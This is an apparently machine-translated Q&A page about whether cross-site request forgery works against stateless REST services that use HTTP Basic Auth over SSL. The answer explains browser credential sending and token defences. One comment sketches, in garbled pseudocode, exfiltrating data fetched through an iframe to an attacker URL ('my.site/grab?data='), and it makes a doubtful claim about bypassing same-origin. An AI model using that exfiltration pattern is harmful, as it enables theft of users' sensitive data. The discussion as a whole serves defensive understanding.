2010-01-07 96 views
12

跨站点请求伪造对无状态RESTful服务可能吗?REST和CSRF(跨站点请求伪造)

我不是在说服务器记得您通过cookie登录的伪REST。我正在谈论纯粹的没有应用程序服务状态的服务器上没有cookies的REST。

我正在使用SSL和基本身份验证。对于每个请求,授权标题必须在那里。尽管在SSL级别上有某种会话,但JSP意义上没有“会话”。

因此,让我们假设我正在查看发出Ajax请求的合法网页,并以某种方式转到同一个选项卡或另一个选项卡中的其他页面,并且该页面发出相同的Ajax请求。 (我假设合法网页上没有恶意代码;这完全是另一回事,在这种情况下任何事情都可能发生)。

当第二页发出Ajax请求时,浏览器是否会放在相同的位置授权标题?即浏览器会说“噢,你想再次去那里?嘿,我碰巧还有钥匙!”?

另外,无法将恶意脚本做xhr请求,然后在回调中从ioargs获取请求,获取授权头和un-Base64的名称和密码?

回答

4

声明:我不是安全专家。

使用HTTP Basic Auth不会阻止通过GET请求进行CSRF攻击。例如。其他人可以在他们的HTML页面中包含一个img标签,并在一些众所周知的URI上执行GET,并且您的浏览器将愉快地发送基本认证信息。如果GET操作是“安全的”(这是任何声称为RESTful的任何规则的第一条规则),这不会产生问题(超出浪费的带宽)。

由于同源策略,Ajax不是问题。

只有在您生成的HTML中包含服务器生成的令牌并验证其在表单提交请求中的存在性后,才能保护您免受其他人在页面中简单包含“外部”表单的风险。您可能会限制浏览器生成的内容类型; XHR请求无需这样做。

+0

IFrame以某种方式绕过同一个来源。以下是可能的:hisData =某种iframe XHRGet(csrf); myURL ='http://my.site/grab?data ='+ urlEncode(hisData); myPic.innerHTML ='“;?假设csrf是一个获取一些敏感数据的URL,并且my.site/grab上的GET记录了我们在查询中输入的数据。 – 2010-01-08 16:51:58

+0

浏览器不会检查这个吗? – Nikhil 2018-02-01 13:10:26

相关问题